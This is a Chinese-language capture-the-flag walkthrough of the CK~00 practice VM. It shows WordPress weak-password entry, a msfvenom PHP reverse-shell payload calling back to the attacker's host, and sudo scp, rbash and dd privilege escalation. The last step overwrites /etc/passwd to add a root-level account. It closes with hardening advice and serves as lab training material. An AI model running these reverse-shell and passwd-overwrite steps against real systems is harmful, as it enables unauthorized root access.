本文為系列文章第四篇,難度為中級(jí)+,本篇難度主要在于linux提權(quán),這里涉及了多種提權(quán)方法的思路,一步步研究加上些許變通,最終才拿下root。相信大家在看完前三篇之后,對(duì)信息收集應(yīng)該有所理解了。
1、信息收集:
1)對(duì)目標(biāo)進(jìn)行端口掃描,探測(cè)開放的端口及應(yīng)用,目標(biāo)主機(jī)開放了22端口和80端口。
2)從80端口(web服務(wù))入手,進(jìn)行目錄掃描,發(fā)現(xiàn)首頁(yè)和wordpress網(wǎng)站,首頁(yè)為apache的默認(rèn)頁(yè)面。先對(duì)wordpress進(jìn)行了掃描,發(fā)現(xiàn)可用用戶admin,并進(jìn)行暴力破解,未爆破成功,之后通過弱口令admin登錄成功。
3)Wordpress網(wǎng)站上傳木馬反彈shell,拿到主機(jī)第一個(gè)據(jù)點(diǎn)。
2、提權(quán):
1)遍歷系統(tǒng)文件,找到wordpress配置文件,發(fā)現(xiàn)了數(shù)據(jù)庫(kù)賬戶密碼,進(jìn)行賬戶切換,登錄到bla用戶。
2)通過bla用戶下scp的sudo操作,將攻擊機(jī)的ssh公鑰拷貝到靶機(jī)的bla1用戶目錄下,使用ssh登錄bla1用戶。
3)通過bla1用戶下rbash的sudo操作,提權(quán)至ck-00用戶。
4)通過ck-00用戶下dd的sudo操作,添加1個(gè)root權(quán)限賬戶并覆蓋/etc/passwd,從而提權(quán)至root權(quán)限。
靶機(jī)描述:
VulnerableVM to learn Basics of privilege escalation.
Goal: Your goal will be to get highest privileged user and collect theflag
Virtualbox is recommended for configuring CK~00 box
Feelfree to contact me at @CyberKnight00.
Thisworks better with VirtualBox rather than VMware
靶機(jī)地址
靶機(jī)ip:192.168.43.126
用到的知識(shí)點(diǎn)、工具和漏洞:
Nmap:一款開源的端口掃描器,用于端口掃描及服務(wù)識(shí)別
Dirbuster:一款目錄掃描器,kali中自帶,用于目錄探測(cè)
Wpscan:一款專門掃描wordpress站點(diǎn)的漏洞掃描器
Metasploit:集成了大量攻擊腳本的安全框架,并固化了利用流程,kali中自帶
Msfvenom:簡(jiǎn)稱美少婦,用于生成木馬的工具,kali中自帶
wordpress插件反彈shell:wordpress是一款國(guó)外免費(fèi)開源的博客軟件和內(nèi)容管理系統(tǒng)
各種提權(quán)方法:scp拷貝ssh公鑰,dd添加root權(quán)限賬戶覆蓋/etc/passwd
主機(jī)探測(cè):netdiscover-i eth0 -r 192.168.43.0/24
端口探測(cè)及服務(wù)識(shí)別:nmap-sS -sV -T5 -A 192.168.43.126
當(dāng)前靶機(jī)開放了22和80端口,首先以80的web服務(wù)為突破口。
Ofcourse 先掃波目錄,這里使用的kali自帶的dirbuster
得嘞,又是一個(gè)wordpress站點(diǎn)。話不多說(shuō),wpscan伺候。
剛打開就是apache的默認(rèn)頁(yè)面,之前都掠過這個(gè)頁(yè)面做目錄掃描,如今目錄掃描未掃出有用的目錄,這里就有兩個(gè)問題了,1.可能字典不夠強(qiáng)大,2.在首頁(yè)查詢有用的信息。于是去試了其他的目錄字典,還是沒有結(jié)果,回過頭再去認(rèn)真看看首頁(yè)。
這里稍微提一下:有些同學(xué)可能發(fā)現(xiàn)站點(diǎn)沒有正常加載,這里可以在/etc/host文件中添加信息,即可正常訪問(一般可通過該方法解決)
一般碰見wordpress站點(diǎn),有幾種思路可以去考慮。
wpscan枚舉用戶名,口令,進(jìn)入后臺(tái)上傳shell
通過wpscan枚舉出相關(guān)插件,通過https://wpvulndb.com查詢對(duì)應(yīng)插件版本所具有的漏洞,根據(jù)插件的遠(yuǎn)程命令執(zhí)行漏洞反彈shell
正好wpscan的結(jié)果也出來(lái)了,咱們先看一下
沒發(fā)現(xiàn)啥漏洞或者插件,倒是枚舉出了admin用戶,那么這里大概率要通過獲取口令來(lái)打開突破口,一種辦法使用通用字典爆破,另一種就是使用cewl收集網(wǎng)頁(yè)中出現(xiàn)的字符作為字典,再去爆破。這里我選擇第二種方式,因?yàn)橹坝杏龅竭^類似的靶機(jī)。
使用命令cewl
示例:cewhttp://192.168.43.126 -wpass.txt
然后使用wpscan進(jìn)行爆破
wpscan--url http://192.168.43.126 -U admin -P pass.txt
沒發(fā)現(xiàn)可用密碼,正準(zhǔn)備掏出字典進(jìn)行爆破時(shí),隨手去試了下admin:admin,它,竟然就進(jìn)去了
想不到今天人品爆棚啊,進(jìn)入后臺(tái)了,拿shell還不是soeasy啦,wordpress后臺(tái)拿shell有兩種辦法,一是添加主題處上傳shell,或者更改默認(rèn)主題的php頁(yè)面上傳shell,二是添加插件處上傳shell,或者替換默認(rèn)插件處的php文件上傳shell,兩種方法類似,隨便用哪一種。
準(zhǔn)備用第一種辦法,在默認(rèn)主題處上傳shell,發(fā)現(xiàn)更新不了。
于是到插件模塊中上傳shell
發(fā)現(xiàn)也無(wú)法更新,這里后面多次嘗試,發(fā)現(xiàn)已啟用的插件是更新不了的,未啟用的插件是可以進(jìn)行更新的,于是在未啟用的插件里的php文件中寫入我們的shell,這個(gè)shell使用msfvenom生成
msfvenom -p php/meterpreter/reverse_tcplhost=192.168.43.140 lport=4444 -o shell.php
寫入我們的shell,這里注意下面標(biāo)紅處,待會(huì)找文件路徑會(huì)用到,該處為插件名稱
下面咱們?cè)L問http://ck/wp-content/plugins/smPYlYvIeE/找到shell文件
然后kali準(zhǔn)備反彈shell
訪問shell文件,拿到shell
拿到shell第1件事就是獲取一個(gè)標(biāo)準(zhǔn)shell,可通過以下命令獲?。╬s:python,python3都試一下,有些系統(tǒng)只裝了其中1種)
python3-c import pty; pty.spawn("/bin/bash")
下面需要進(jìn)行提權(quán),因?yàn)閯偟玫降膕hell權(quán)限較低,得想辦法獲取高權(quán)限賬戶,最終獲取root權(quán)限。
cat /etc/passwd查看一下系統(tǒng)存在的用戶
這里發(fā)現(xiàn)有三個(gè)用戶,但是到這里咱們前面沒有拿到有關(guān)的信息,現(xiàn)在只能繼續(xù)信息收集。
先去/home目錄下看看,拿到了第一個(gè)flag
目前也就先拿個(gè)flag慰藉一下自己,由于前期沒有相關(guān)有用的信息可供提權(quán),在拿到第1個(gè)用戶權(quán)限前,完全是在抓瞎,老老實(shí)實(shí)翻看各個(gè)文件目錄。后面去查看wordpress的配置文件找到了mysql的密碼
看密碼也許是某個(gè)用戶的密碼,然后嘗試切換,成功切換到bla用戶。
為了方便后續(xù)操作,這里選擇使用ssh遠(yuǎn)程上去進(jìn)行下一步行動(dòng)
最后就是如何獲取root權(quán)限,有以下幾個(gè)思路
sudo -l 查詢具有sudo權(quán)限命令,然后提權(quán)
SUID提權(quán),find / -perm -u=s -type f 2>/dev/null
通過在/etc/passwd添加一個(gè)root權(quán)限的賬戶進(jìn)行提權(quán)
find / -writable -type f 2>/dev/null 查找可利用的可寫文件
內(nèi)核提權(quán)
其他
這里使用sudo-l 查詢有哪些sudo權(quán)限命令
看來(lái)這里需要通過scp進(jìn)行提權(quán),scp可以從遠(yuǎn)程服務(wù)器拷貝文件到本地服務(wù)器,也可以拷貝本地文件到遠(yuǎn)程服務(wù)器。scp用法具體可參考scp用法。
那么這里就有1個(gè)思路了,通過scp將kali的ssh公鑰拷貝到bla1的用戶目錄下,之后即可進(jìn)行SSH免密碼登錄從而達(dá)到提權(quán)的效果,至于ssh密鑰如何生成以及如何使用密鑰免密碼登錄,請(qǐng)參考SSH密鑰免密碼登錄。
我這里在kali上生成了密鑰,下面標(biāo)紅處為公鑰
所以這里可使用以下命令來(lái)將kali公鑰拷貝到bla1用戶目錄下
sudo-u bla1 scp root@192.168.43.140:/root/.ssh/id_rsa.pub
/home/bla1/.ssh/authorized_keys
拷貝成功,注意kali需開啟ssh服務(wù),關(guān)于kali的ssh配置可在百度上搜索相關(guān)教程。
下面就是ssh免密碼登錄bla1賬戶了
Bingo!,繼續(xù)sudo-l進(jìn)行查詢
這里使用rbash提權(quán),網(wǎng)上查詢資料,rbash是一個(gè)受限的shell環(huán)境,具體提權(quán),這里只需使用下述命令即可
sudo-u ck-00 rbash
拿到了ck-00賬戶權(quán)限,由于使用rbash提權(quán)上來(lái)的,現(xiàn)在的shell環(huán)境是受限。
可以發(fā)現(xiàn)很多命令無(wú)法使用,下面截圖展示
還是先sudo-l 查詢下
這里需使用dd提權(quán),具體提權(quán)方法也不太清楚,還是推薦之前的1個(gè)網(wǎng)站
各種提權(quán)命令集合。不過該網(wǎng)站最近訪問有時(shí)訪問不了,可能是網(wǎng)絡(luò)原因。我這里把提權(quán)方法給復(fù)制下來(lái)了
Sudo
Itruns in privileged context and may be used to access the file system,escalate or maintain access with elevated privileges if enabled onsudo.
使用下面命令可提權(quán)
LFILE=file_to_write
echo"data" | sudo -E dd of=$LFILE
剛才導(dǎo)致的錯(cuò)誤是由于sudo的-E參數(shù)造成的,這里只需去掉-E參數(shù)即可。
好像也沒有提權(quán)成功呀,查看了下當(dāng)前目錄
發(fā)現(xiàn)在當(dāng)前目錄下生成了file_to_write,里面內(nèi)容為data。我立馬領(lǐng)悟了,這里可以通過該命令在任意文件中寫入內(nèi)容。那么提權(quán)路子就來(lái)了。
咱們可以在/etc/passwd文件中添加1個(gè)root權(quán)限賬戶,從而來(lái)提權(quán)。于是立馬就開干。這里有個(gè)小坑,大家要注意,我先給填上,后面我再來(lái)講述。
這里咱們先查詢一下/etc/passwd
把里面所有內(nèi)容復(fù)制下來(lái),再在后面添加一個(gè)用戶,用戶密碼由使用以下命令生成
LFILE=/etc/passwd
echo"root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:MailingList Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:GnatsBug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemdNetwork Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemdResolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
ck-00:x:1000:1000:CyberKnight:/home/ck:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:115:MySQLServer,,,:/nonexistent:/bin/false
bla1:x:1001:1001:Bla1,01,0000,0001:/home/bla1:/bin/bash
bla:x:1002:1002:bla,0000,0000,0000:/home/bla:/bin/bash
dawn:FipxP14Sy8yNc:0:0:root:/root:/bin/bash"(ps填坑:這里先輸入這個(gè),然后手動(dòng)輸入后面的命令,不然會(huì)報(bào)錯(cuò),稍有不慎更會(huì)損壞/etc/passwd文件,那就GG,執(zhí)行這步前可以先備份)
"| sudo dd of=$LFILE
執(zhí)行成功,咱們?cè)賮?lái)看看/etc/passwd內(nèi)容
已經(jīng)添加用戶dawn,咱們來(lái)切換一下
拿到root,剩下讀取最后的flag
一定要注意弱口令
口令共用問題,對(duì)于數(shù)據(jù)庫(kù)賬戶與系統(tǒng)賬戶應(yīng)設(shè)置不同的密碼
Sudo權(quán)限需要合規(guī)配置
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://www.ezyhdfw.cn/yun/130057.html
摘要:本文將分享軟件基本用法及文件進(jìn)程注冊(cè)表查看,這是一款微軟推薦的系統(tǒng)監(jiān)視工具,功能非常強(qiáng)大可用來(lái)檢測(cè)惡意軟件??梢詭椭褂谜邔?duì)系統(tǒng)中的任何文件注冊(cè)表操作進(jìn)行監(jiān)視和記錄,通過注冊(cè)表和文件讀寫的變化,有效幫助診斷系統(tǒng)故障或發(fā)現(xiàn)惡意軟件病毒及木馬。 ...
閱讀 1456·2023-01-11 13:20
閱讀 1811·2023-01-11 13:20
閱讀 1261·2023-01-11 13:20
閱讀 2003·2023-01-11 13:20
閱讀 4224·2023-01-11 13:20
閱讀 2877·2023-01-11 13:20
閱讀 1483·2023-01-11 13:20
閱讀 3805·2023-01-11 13:20